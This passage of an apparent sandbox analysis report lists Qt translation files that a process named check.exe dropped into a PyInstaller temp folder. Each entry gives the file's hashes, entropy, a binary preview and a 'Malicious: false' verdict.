...........`......`..._.......A......2....e...g...e..>D...e..LW................y...,..y......y..o...y......T..L...0..'..*.0....+F...y..+F......+f......+f...C..+.z..0..+.....d.+....p0.+.....R.+.z..0U.+.....u.+....8..+....Ct.+....L..+....y..+.....Z.+......+...pc.+.....+....0..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	164
Entropy (8bit):	3.984562388316898
Encrypted:	false
SSDEEP:	3:j2wZC4C/oZlAlHekF8Op1MUNKJKlI+rwtbWlM4KKIPldkOSxRMugB:CwY+GIUgcIRt61oihM3
MD5:	F7A8C75408B9A34A2B185E76F51B7B85
SHA1:	065E987139C5FB809A6F9CDF3845BCD79707FDBB
SHA-256:	6492B267608C6FB76907BD8FCFC8F1EF57E9F4EBBC2E81ACA81715A88388F94A
SHA-512:	E768C5B438EC899801B22B1325F2244ACCC5E7C2EC5D270F510BC3CBC2D9A0536949C026DB7FB5862835E506A9F2020DEB2CC4001E7011FF974324542734F855
Malicious:	false
Preview:	<.d....!..`.......ru....v.....q.t.b.a.s.e._.r.u.....q.t.s.c.r.i.p.t._.r.u.....q.t.m.u.l.t.i.m.e.d.i.a._.r.u... .q.t.x.m.l.p.a.t.t.e.r.n.s._.r.u........)......,..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	157
Entropy (8bit):	3.7731953311404336
Encrypted:	false
SSDEEP:	3:j2wZC4C/3xRlAlHekE8lgp1MUM8lMlI+rwtbWlM5UllyIPldkOfll6kchn:CwS0+t8CIUM86IRt6KUlsoi2CVh
MD5:	24C179481B5EF574F33E983A62A34D53
SHA1:	0A67F1ED8CA4A5182F504806F8D47D499789F2D2
SHA-256:	B6ADFFD889FF96BF195CB997327E7D7005A815CAD67823FA6915A19C2D9BB668
SHA-512:	4757F3693120DAB2FBB7BCF1734EA20B3E3D9056B4B4E934A3129D660CFDC6C58B230459DB55912AF24AD5692BD221830BE0FF91E41D3EECD9439E79AC23FFE6
Malicious:	false
Preview:	<.d....!..`.......sk....v.....q.t.b.a.s.e._.s.k.....q.t.s.c.r.i.p.t._.s.k.....q.t.m.u.l.t.i.m.e.d.i.a._.s.k... .q.t.x.m.l.p.a.t.t.e.r.n.s._.s.k...........

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_sl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	228428
Entropy (8bit):	4.726953418955661
Encrypted:	false
SSDEEP:	3072:9zQH0hOtgmiAZu0eeAEv+v49JnnSmICgr3n7jhCQUeinqyU5UggtRLGrQ2LZO+Y1:RpUsSpGr36wsR
MD5:	D35A0FE35476BE8BD149CEE46E42B5E9
SHA1:	9F3C85C115A283E5230D1EEAD84C8CB73A71FA03
SHA-256:	C44E0313A9414CC0E490B65B0C036FA11BCA959353B228886547BC2C8492034F
SHA-512:	BEEB1751882AF081E80BE93F7464D4C6322B724EFA2CBD3E1CBE709181D380C1C57E770FA962BB706D6FCF4A8CB393E3F6E187C1F604F8CEEFB201CA3200BD1C
Malicious:	false
Preview:	<.d....!..`.......slB..<....*.......+.......@...C...A.......B...<...C.......D...2...E.......F...d...G.......H...W...I.......P.......Q.......R.......S...x...T.......U...n...V...%...W.......X.......Y.......]..g~...t...V.......f..................................;..G....;..[....;...q...;..ia...;... ...M..g....O.......O.......[..,e...........}..g....m..h........Q..(5......+;..2...+;...b..+;...i..+O..2...+O...4..1......E@......F.......H4......HY...%..H.......I.......I@......IA...9..IC......J...6...J.......J.......J...^...K...7...LD......L....n..PS...U..R.......T....=..Zr......[`...V..[`......\...!,..\...8U.._..."b.._.../h..1.......E...9......4...............5........e...................$...<...$..Z....[.......,.......y...L...y..].......H.......@.......J.......6........~..........E...O...E..+....E...~..............,1...%..8r...%...........^..............................5.......0..Gx...0.......0..P....0..h....0.......0.......5...^.......... D...... D......+....`..,.......,...-...<U

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_sv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	65851
Entropy (8bit):	4.7906769989650515
Encrypted:	false
SSDEEP:	1536:4u6DkpgyKmRmG15mGM6iFPi6Q/qTlOQZY2dKN8gKw:4u6DotUG1sGMZPi6Q/qTlO2Y2YKw
MD5:	0E85E0E0E7DDFE3D4BDE302F27047F9C
SHA1:	AE59348E0C2E4F86F99DA6CF5DAB3B7E92504B7C
SHA-256:	4B4B6FF7FD237C9DA0301B4946132E68653D15EB5FAF38E4C5FBFEBB12DD97F7
SHA-512:	8CAAB6C61E9FA26A3A289A9E4DC515D157B3092D6D4ED43861220261BD2B7CC79B35B52F9ADE4EF558B5385B37EAC14575420DD55C475F435BB95B6C1E2561B6
Malicious:	false
Preview:	<.d....!..`...B..............+...i...]..6....;.......;..-f...;..:;...;..t....;.......M..64...O.......O...........q...}..6\...m..6........(..+;......+;..7...+;..=...+O......+O..7c..H4......H.......J.......K....F..LD...+..L.......PS...N..Zr......[`...7..[`...N..\...h4.._....J.._....k..1...>...............7........}......D............,.................i....................................%.......%..Fc.......6...0.......0..9....0..q....0..t....0.......0.......5.......5...... D..<}.. D..I...+.......,...=X..,.......<U..r...<U...n..<.......F...=...F....F..H5......H5..<...H5..J4..H5......f.......f...1V..f...:f..f...H;..f...t&..f.......f.......l..................8......;z..............<.......Je.......6...`...&...`...!.......9......1....e.......e..=....e..J..............g...y......y.../..y..h...y......T..J...0..'[..0...K.+F...q..+F.....+f......+f...A..+.z../..+.......+....i`.+.....X.+.z../..+.....S.+....7..+....Bi.+....K..+....q..+.......+......+...i..+.....+....0..F0i.....G.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	110
Entropy (8bit):	3.630483009136986
Encrypted:	false
SSDEEP:	3:j2wZC4C/7zl9lAlHekDN/01MULV4LlI+rwtbWlM+N:Cw5+wUGRIRt6n
MD5:	16CDF5B9D48B0F795D532A0D07F5C3A0
SHA1:	6E403C9096B3051973E2B681DFEBBC8DD024830D
SHA-256:	F574A2CFD4715885C3DBDF5AE60995252673BD94FDAA9586F7E0586F6C1AC0EE
SHA-512:	36A0431368010157EA8A45DCB00458076CCFFC08B37E443DEBD1AAD4A30C6080803337725A7A3DCBF2B410DC7BE89CEAF6C07C46F876E4EF5B08159E3BF38E6D
Malicious:	false
Preview:	<.d....!..`.......tr....R.....q.t.b.a.s.e._.t.r.....q.t.s.c.r.i.p.t._.t.r.....q.t.m.u.l.t.i.m.e.d.i.a._.t.r

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.021402900389864
Encrypted:	false
SSDEEP:	3:j2wZC4C/ZlRlAlHekCczOp1MUKUt7KlI+rwtbWlM/cFKIPldkONRMugB:CwUl0+rjIUKUcIRt6M/oioM3
MD5:	9B101363343847FE42167183320C03F0
SHA1:	F0DF2CFF913E588B7CADFDABBF69F4F632B2F96A
SHA-256:	F1621E680E1642F9463E4B07E7E78B50F9A7BDB7C321D7302039CB3405CBDEA4
SHA-512:	DA14FDF8DB514902733CAAC492293873351C595EBBE0ACB0849BECE24AB822602EE64D01051F1426CD1FC13A95D8607302CF9B515D9806FDD3BD047087DE447C
Malicious:	false
Preview:	<.d....!..`.......uk....v.....q.t.b.a.s.e._.u.k.....q.t.s.c.r.i.p.t._.u.k.....q.t.m.u.l.t.i.m.e.d.i.a._.u.k... .q.t.x.m.l.p.a.t.t.e.r.n.s._.u.k........)......,..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_zh_CN.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	117347
Entropy (8bit):	5.8593733369029195
Encrypted:	false
SSDEEP:	1536:51dXW89nqEFu54aekvRzHHSVuf8j2+/xc3lhnbsfdAoz/w:v9qEFeLekvRznSVHJG3lhn+djY
MD5:	0D02F0DE5A12BCB338B7042DFBDAACF3
SHA1:	B7C10D249D8986AD8C6939B370407D07227A39F5
SHA-256:	28CDE75D7B32C81FEF1D4630C37B79A61DEC24B357632FF00D6365A57D8BE43B
SHA-512:	21F02EBA36B4411921EA3C70310B8E454E8FC2B8F09957FD6A63B71689DC381F7A5E2C3BDF2810734D659AB43D8A7BD46EF6436ECC52F75C71B5F5C313365444
Malicious:	false
Preview:	<.d....!..`.......zhB..+...........+.......@.......A...8...B.......C.......D.......E...V...F.......G...L...H.......I...9...P.......Q...e...R...^...S.......T...T...U.......V...\|...W.......X...o...Y.......]..4 ...;...2...;..,....;..8....;.......;.......M..4H...O.......O...........#...}..4p...m..4........N..(5......+;...f..+;..6Y..+;..<...+O...8..+O..6'..1......E@......F....Y..H4..."..HY..J...H.......I.......J.......J.......K....5..LD..._..L......PS...V..Q....6..R...N...W..../..Zr.....[`.....[`......\...lU.._......._....L..1...<........j......6...............B........I...$..K....$.......,...g...y...3.......A......r...........................9..L7......;w...E..5b...E...G.......5...%.......%..D........`..............................0.......0..8W...0..}y...0...6...0.......0.......5.......5...... D..:... D..J...+....R..,...;...,......<U..~...<U......<......F...;...F......H5...i..H5..:...H5..Jk..H5...w..VE...[..f....u..f...0X..f...9...f...E...f.......f.......f....j..g....A..l.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	141
Entropy (8bit):	3.7198292994386235
Encrypted:	false
SSDEEP:	3:j2wZC4C/0N6xg/Rl/gl+kNXDelHrwtbWlMwTolIPldkOfDn:CwOO2+g6Mt63oloiUn
MD5:	ED4135D705AEF3D97F8BF6B8FF11F09C
SHA1:	308E2B8F74B863A61AD0B68F4A18ED06965EBEAA
SHA-256:	751ECDA0C33E061D91241268357FBD2F6B7F70A1116E714F28D22EFD61EC7A1A
SHA-512:	B6E6D00553A9C427130129B9D30E862028E549F372A832F0F05747C8E2A79E443F4932EC3AE177537C8BA00D26B5B6CB97D5B35426AB5229F6A468CA485BE0B1
Malicious:	false
Preview:	<.d....!..`.......zh_TW....n.....q.t.b.a.s.e._.z.h._.T.W...$.q.t.m.u.l.t.i.m.e.d.i.a._.z.h._.T.W...&.q.t.x.m.l.p.a.t.t.e.r.n.s._.z.h._.T.W

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	160017
Entropy (8bit):	5.35627970915292
Encrypted:	false
SSDEEP:	1536:XGlAMfkX1M0RdaCkR8lfv8vtc8EFrVYA2I4AJZWEWgHg1C8COvzHKHC6Jp9NV0V7:XUr0RACkIwDEpV1Lgf1ubtw3Bb
MD5:	A7E4D0BA0FC5DF07F62CC66EC9878979
SHA1:	21FD131B23BDD1BBA7BBB86F3ED5C83876F45638
SHA-256:	E03FE68D83201543698FD7FE267DD5DFC5BFD195147E74FF2F19AC3491401263
SHA-512:	D9E6B10506FCF20B5B783F011908083D9DF6C5DF88E21B10D07F53A01AD6506A4B921C85335A25BAE54E27BAD7D01B6E240D58FDEEAABC7FF32014EC120C2ECF
Malicious:	false
Preview:	<.d....!..`.......arB..2....*.......+.......@.......A.......B..._...C......D.......E......F.......G... ...H...D...I...h...P...C...Q...g...R......S.......T.......U.......V...x...W......X.......Y.......]..'=...s......t...........]...........;..'....;..(....;.......;.......M..'e...O.......O...9...........}..'........C...=......m..'....t..........!o..(5...Z..+;..5u..+;..c...+O......1...!...D@...8..E@.....H4...,..HY..QI..H.......IC......J....1..J.......J.......LD......L.......PS......QR...R..R...V2..T.......U....]..X.......Zr.....[`......\....t..]x......_......._.......yg......1...6....E..8V..............C............................$..RN...[...0...,.......y.......y...................K...........9..R....E.."............z.......................%..F;...D...[..................................!....5.......0...I...0.......0...5...0..#....5.......5...p..............W}.. D..(... D..P=..+.......<U......<U......<.......H5..(...H5..P...L.......VE......VE......V....B..f...JJ..f.......f.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165337
Entropy (8bit):	5.332219158085151
Encrypted:	false
SSDEEP:	1536:9ULiyUxPoT6qx+J7FJlaaMJnxjqxq+0Uiff0mbVeb7wiEwYuYqDKBkKHMXHCIMll:9ULpIVFnpwUiEujw27ncUQUz
MD5:	660413AD666A6B31A1ACF8F216781D6E
SHA1:	654409CDF3F551555957D3DBCF8D6A0D8F03A6C5
SHA-256:	E448AC9E3F16C29EB27AF3012EFE21052DAA78FABFB34CD6DFF2F69EE3BD3CDB
SHA-512:	C6AE4B784C3D302D7EC6B9CE7B27DDAF00713ADF233F1246CD0475697A59C84D6A86BAA1005283B1F89FCC0835FD131E5CF07B3534B66A0A0AA6AC6356006B8F
Malicious:	false
Preview:	<.d....!..`.......bg_BGB../......,....+..."...@...]...A.......B.......C.......D...P...E...!...F.......G.......H.......I.......P.......Q.......R...A...S...e...T.......U.......V.......W...1...X...U...Y...y...]..,....s...,...t...................P...;..+....;..-E...;..!....;..+....M..,Y...O...,...O..............}..,............=...Q...m..,....t...\|......>...(5..1...+;..<...+;..o...+O...r..1...>...D@......E@......H4......HY..[...H.......IC......J....E..J....X..J.......LD......L....L..PS......QR.."...R...`...T....X..U.......X.......Zr...q..[`...`..\.......]x......_......._....T..yg.....1...=....E..?...............L(.......(...............'...$..\....[.......,...I...y...!...y...................S...........9..]%...E..5p...........z..!q...................%..O....D..................D.....8......:......?....5...&...0.......0.. ....0...c...0..5....5.......5..................b:.. D..-... D..Z...+.......<U......<U...0..<.......H5..-...H5..[...L.......VE..#a..VE..;...V.......f...T...f...!..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	210159
Entropy (8bit):	4.666388181115542
Encrypted:	false
SSDEEP:	3072:P/DVhdlafzvZfeW+6kXEVjSVPzC3ceKdP2:xYf7UW+WjwP2
MD5:	B383F6D4B9EEA51C065E73ECB95BBD23
SHA1:	DD6C2C4B4888B0D14CEBFC86F471D0FC9B07FE42
SHA-256:	52E94FCC9490889B55812C5433D009B44BDC2DC3170EB55B1AF444EF4AAE1D7F
SHA-512:	9401940A170E22CE6515E3C1453C563D93869A3C3686C859491A1F8795520B61BF3F0BFE4687A7380C0CC0C75E25559354FDB5CEF916AF4C5B6CD9661464A54A
Malicious:	false
Preview:	<.d....!..`.......caB..7....*.......+.../...@..:P...A..:t...B..:....C..:....D..;=...E..<....F..<Z...G..<~...H..<....I..<....P..>....Q..>....R..?....S..?R...T..?v...U..?....V..?....W..@....X..@<...Y..@`...]../....s..1....t..........2s......#p...;.......;../....;..W....;..e+...M../3...O.......O..9.......J....}../]......8....=..9....m../....t..9Y.......S..(5..lB..+;.._...+;...=..+O..U...1.......D@..:...E@..?...H4...J..HY..~...H..."...IC...0..J....W..J....0..J.......LD..!...L...!f..PS..)...QR.."...R.......T...9~..U...9...U...z...X...>...Zr..E...[`...e..\...LD..]x..7U.._......._...M...yg..f...1...a....E..c....7.........U.......p........b.......4.......K...$.......[.......,.......y.......y...................^...........9...:...E...s...... (...z..":.......d......!....%..tQ...D.."......."......2......ve.....y...........5..#H...0...\...0..W+...0..';...0.......5..(....5..........)s.......... D..0w.. D..}...+...1...<?..5x..<U......<U..5...<...6@..H5..0...H5..~...L...9...VE..$...V...SV..f.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	174701
Entropy (8bit):	4.87192387061682
Encrypted:	false
SSDEEP:	3072:5WjuhX0CVRaakGjW9E8SSOQfX/JlwVOMxrboRPqWxXfQvO7zjBf:5iFGj1QfXr8Gd
MD5:	C57D0DE9D8458A5BEB2114E47B0FDE47
SHA1:	3A0E777539C51BB65EE76B8E1D8DCE4386CBC886
SHA-256:	03028B42DF5479270371E4C3BDC7DF2F56CBBE6DDA956A2864AC6F6415861FE8
SHA-512:	F7970C132064407752C3D42705376FE04FACAFD2CFE1021E615182555F7BA82E7970EDF5D14359F9D5CA69D4D570AA9DDC46D48CE787CFF13D305341A3E4AF79
Malicious:	false
Preview:	<.d....!..`.......cs_CZB..3p.....F....+.......@..!....@..Ef...A..!....A..E....B.."1...B..E....C.."U...C..E....D.."....D..F....E..#p...E..F)...F..#....F..FP...G..#....G..Fw...H..$....H..F....I..$6...I..F....P..&%...P..Gr...Q..&I...Q..G....R..&....R..G....S..&....S..H....T..&....T..H8...U..'....U..H_...V..'Z...V..H....W..'~...W..H....X..'....X..H....Y..'....Y..H....]..,....]..,....s.......t...9..................;.......;..+....;..1B...;......;..?x...;..N....;..iY...;..s3...M..,B...M..,....O.......O...w...O..rr...........}..,j...}..-....... 5...=.. ....m..,....m..-8...t.. .......ay..(5..TT..+;...A..+;..B...+;..u...+O......+O..=a..1...a...D@.."...E@..&m..E@..G...F...J...H4...=..HY..`...H.......I...J...IC......J....-..J.......J.......LD......L....(..PS.....QR.."S..R...e...T.... ..U......X.......Zr...g..[`......\......]x......_......._......._...v...yg......1...C....E..E...............=.......Q........................s...$..a....[.......,.......y.......y...y..............G..........

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	181387
Entropy (8bit):	4.755193800761075
Encrypted:	false
SSDEEP:	3072:XzswP2UvZ5aZ9jFTkmq/gnBNW/+PcWrqm2Vliz0DGdaS4KSLZjwTTgwUR0toT:j3m27AjCT
MD5:	859CE522A233AF31ED8D32822DA7755B
SHA1:	70B19B2A6914DA7D629F577F8987553713CD5D3F
SHA-256:	7D1E5CA3310B54D104C19BF2ABD402B38E584E87039A70E153C4A9AF74B25C22
SHA-512:	F9FAA5A19C2FD99CCD03151B7BE5DDA613E9C69678C028CDF678ADB176C23C7DE9EB846CF915BC3CC67ABD5D62D9CD483A5F47A57D5E6BB2F2053563D62E1EF5
Malicious:	false
Preview:	<.d....!..`.......daB..4......h....+......@...f...A.......B.......C.......D...U...E.......F...v...G.......H.......I.......P.......Q.......R...6...S...Z...T...~...U.......V.......W..."...X...F...Y...j...]..+....s.......t..................-...;..+....;..,....;../....;..;....M..+....O.......O...r...........}..,............=...8...m..,0...t...c......T...(5..B...+;..NH..+;..~H..+O..,...1...UP..D@......E@......H4...E..HY..j...H.......IC...#..J....J..J.......J.......LD......L....1..PS...B..QR......R...o...T.......U.......X.......Zr......[`...W..\....}..]x...[.._....-.._.......yg...e..1...O....E..R....7..........-!......]............................$..k....[...7...,.......y...c...y.................j4...........9..l8...E..p............z...;..................%..a....D...~.............-.....L......OH.....Uz...5.......0.......0...U...0.......0..p....5...7...5..L$..............p... D..-... D..i...+....@..<U.....<U.....<....S..H5..-2..H5..j$..L....B..VE.. ...VE..P...V......f...e...f.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	220467
Entropy (8bit):	4.626295310482312
Encrypted:	false
SSDEEP:	3072:7w8go8+ph6JVB8XVXYWpSNEeg8+vaD+p4N8DDiEKugwGZulh15ce4M+4NsPYXCZW:88h8Sj286tTiDD
MD5:	40760A3456C9C8ABE6EA90336AF5DA01
SHA1:	B249AA1CBF8C2636CE57EB4932D53492E4CE36AC
SHA-256:	553C046835DB9ADEF15954FA9A576625366BA8BFD16637038C4BCD28E5EBACE1
SHA-512:	068E55F39B5250CC937E4B2BD627873132D201D351B9351BE703CD9B95D3BAFB4BD649CB4DF120A976D7C156DA679758D952CAC5E0523107244E517D323BC0C5
Malicious:	false
Preview:	<.d....!..`.......de_DEB..7....*.......+..3....@..R....A..R....B..S....C..S@...D..S....E..T]...F..T....G..T....H..T....I..U#...P..W....Q..W6...R..W....S..W....T..W....U..W....V..XG...W..Xk...X..X....Y..X....]..2%...s..J$...t..9R......J.......B....;..1....;..3....;..q....;.......M..2O...O.......O..X@......ia...}..2y......Q....=..Q....m..2....t..Q...........(5......+;..ev..+;......+O..oh..1....4..D@..R...E@..WZ..H4..4...HY...[..H...AY..IC..>o..J...>...J.......J...>6..LD..@A..L...@...PS..I...QR..#...R....h..T...W...U...Xh..U....~..X...]...Zr..e(..[`..)...\...j...]x..O..._....K.._...lI..yg...U..1...f....E..i....7..........o.......wG......6.......6.......8....$...n...[..8....,..9....y.......y..=................3......>....9.......E..."......?_...z..#d.......0......A%...%..z....D..A.......B......KP......2.............^...5..B....0.......0..p....0..F....0...}...5..G....5..........H........... D..3}.. D...O..+...Q...<?..Ti..<U......<U..T...<...U)..H5..3...H5......L...X...VE..%j..V...l..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165170
Entropy (8bit):	4.679910767547088
Encrypted:	false
SSDEEP:	1536:JVwzuvb+Ta64KQd84arHX5pxiVhA8QlOD/BnFNa8NsvsfFsfcoZtIx6F:JVwSTG4KqVaLX5pEVK7OJFczstgRtIx8
MD5:	C7C58A6D683797BFDD3EF676A37E2A40
SHA1:	809E580CDBF2FFDA10C77F8BE9BAC081978C102B
SHA-256:	4FFDA56BA3BB5414AB0482D1DDE64A6F226E3488F6B7F3F11A150E01F53FA4C8
SHA-512:	C5AED1A1AA13B8E794C83739B7FDDEAFD96785655C287993469F39607C8B9B0D2D8D222ECD1C13CF8445E623B195192F64DE373A8FB6FE43743BAF50E153CDA5
Malicious:	false
Preview:	<.d....!..`.......es_ESB../......,...+...y...@.......A.......B.......C.......D...v...E...=...F.......G.......H.......I.......P.......Q... ...R...k...S.......T.......U.......V...1...W...U...X...y...Y.......]..+....s.......t...................c...;..+....;..,....;...%...;..#....;..-....M..+....O.......O...............}..,............=...]...m..,/...t..........A...(5..3...+;..<...+;..o...+O..!b..1...Ap..D@......E@...D..H4...-..HY..[F..H.......IC...%..J....L..J.......J.......LD......L....O..PS......QR..!...R...`K..T.......U....&..X.......Zr.....[`...h..\......]x...\|.._....Y.._....A..yg......1...=....E..?a......!.......K........G...............R...$..\Q...[.......,...z...y.......y..................+............9..\....E..2............z.. ....................%..ON...D........................:......=B.....A....5...7...0.......0......0.."....0...,...0..3....5...}...5...Y..............a... D..-!.. D..Z6..+....0..<U...h..<U......<.......H5..-M..H5..Z...L.......VE.."...VE..>...V......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_fi.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	179941
Entropy (8bit):	4.720938209922096
Encrypted:	false
SSDEEP:	3072:lvdTgO2Yl97ZWnbgTLt/Tf9IlqAeiy5uWkYGM0wNCdRjSK2YUlUs:lvdkA9vh5uWkY0MK2YXs
MD5:	8472CF0BF6C659177AD45AA9E3A3247C
SHA1:	7B5313CDA126BB7863001499FB66FB1B56C255FC
SHA-256:	E47FE13713E184D07FA4495DDE0C589B0E8F562E91574A3558A9363443A4FA72
SHA-512:	DE36A1F033BD7A4D6475681EDC93CC7B0B5DCB6A7051831F2EE6F397C971B843E1C10B66C4FB2EFF2A23DC07433E80FBF7B95E62C5B93E121AB5AD88354D9CB8
Malicious:	false
Preview:	<.d....!..`.......fiB..38.....ct...+......@.......A.......B.......C...@...D.......E...]...F.......G.......H.......I...#...P.......Q...6...R.......S.......T.......U.......V...G...W...k...X.......Y.......]......s...T...t.......................;......;..+....;..&....;..3....M..+!...O.......O...e...........}..+K...........=.......m..+w...t..........J...(5..9...+;..:y..+;..mW..+O..$...1...KY..D@......E@...Z..H4...l..HY..X&..H.......IC......J.......J...."..J......LD.....L.......PS...'..QR.. L..R...]...T.......U.......X.......Zr......[`......\.......]x......_....k.._....>..yg.. /..1...;....E..>....7..{(......%.......J........T.......&.......U...$..Y[...[......,...s...y.......y...a.......}......d...........9..Y....E..k'...........z...........V..........%..M....D...Q.......{......d.....A......E......K....5.......0.......0..&J...0.......0..k....5......5..I9.............._:.. D..,O.. D..W...+....9..<U...G..<U...*..<.......H5..,y..H5..W...H5......L....5..VE..!u..VE..E...V..."{..f.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	166167
Entropy (8bit):	4.685212271435657
Encrypted:	false
SSDEEP:	1536:CLZ1w8McowCppcPwL5pYFw+G00QsbLckCiWxvq+sjs06oFm:C91wxcowspc4L5pUw+cz39CiQ7tloFm
MD5:	1F41FF5D3A781908A481C07B35998729
SHA1:	ECF3B3156FFE14569ECDF805CF3BE12F29681261
SHA-256:	EDB32A933CEF376A2636634E14E2977CED6284E4AA9A4AC7E2292F9CA54C384A
SHA-512:	A492E8AC88095A38A13549C18C68E1F61C7054AB9362C2B04C65B93E48E4A07941C8DA6950BAE79041094623E0ED330CA975110FDE8248B4D9380B9F729AD891
Malicious:	false
Preview:	<.d....!..`.......fr_FRB../....*..-....+.......@.......A.......B.......C...?...D.......E...\...F.......G.......H.......I..."...P.......Q...5...R.......S.......T.......U.......V...F...W...j...X.......Y.......]..+....s...=...t.......................;..+....;..,....;.......;..$b...;.......M..,....O.......O...5...........}..,3...........=.......m..,]...t..........A...(5..5j..+;..<T..+;..o...+O.."+..1...B\..D@......E@...Y..H4...8..HY..[{..H.......IC......J.......J.......J.......LD...\|..L.......PS...?..QR..!...R...`j..T.......U....[..X.......Zr.....[`...)..\......]x......_....7.._.......yg...i..1...=Q...E..?@......"Y......K............................$..\....[...^...,...'...y.......y...+.......o....../c.......Y...9..\....E..6(...........z..!................j...%..OC...D...+.......[......a.....;......>......B....5.......0.......0...m...0..#....0.......0..6....5.......5..................a... D..-Y.. D..Ze..+....]..<U...;..<U......<.......H5..-...H5..Z...L.......VE.."...VE..?...V......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_gd.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	189580
Entropy (8bit):	4.630160941635514
Encrypted:	false
SSDEEP:	1536:SiaI3C87jhakhR0VGkw7ys7CskUH6y4e6IFB4xyMuhvDnJGhFaCo527arBbm07LZ:S2yGjh17yGqxTXhvQoejJd8FUjVgk
MD5:	EB1FB93B0BE51C2AD78FC7BA2F8B9F42
SHA1:	24F7FF809E2F11C579CD388FEA5A4C552FF8D4D0
SHA-256:	63B439DD44139AA3AED54C2EBE03FA9BC77F22C14ED8FBA8EFF2608445BB233D
SHA-512:	E13770AEF33B6666ED7D54E03EE20CA291D4167D673BA6C61D8E64CDD5F7FFE0A9521B95AF67BE719BF263932ECF16E2B2D0B5F3404F9BCD7879114FCC6FC474
Malicious:	false
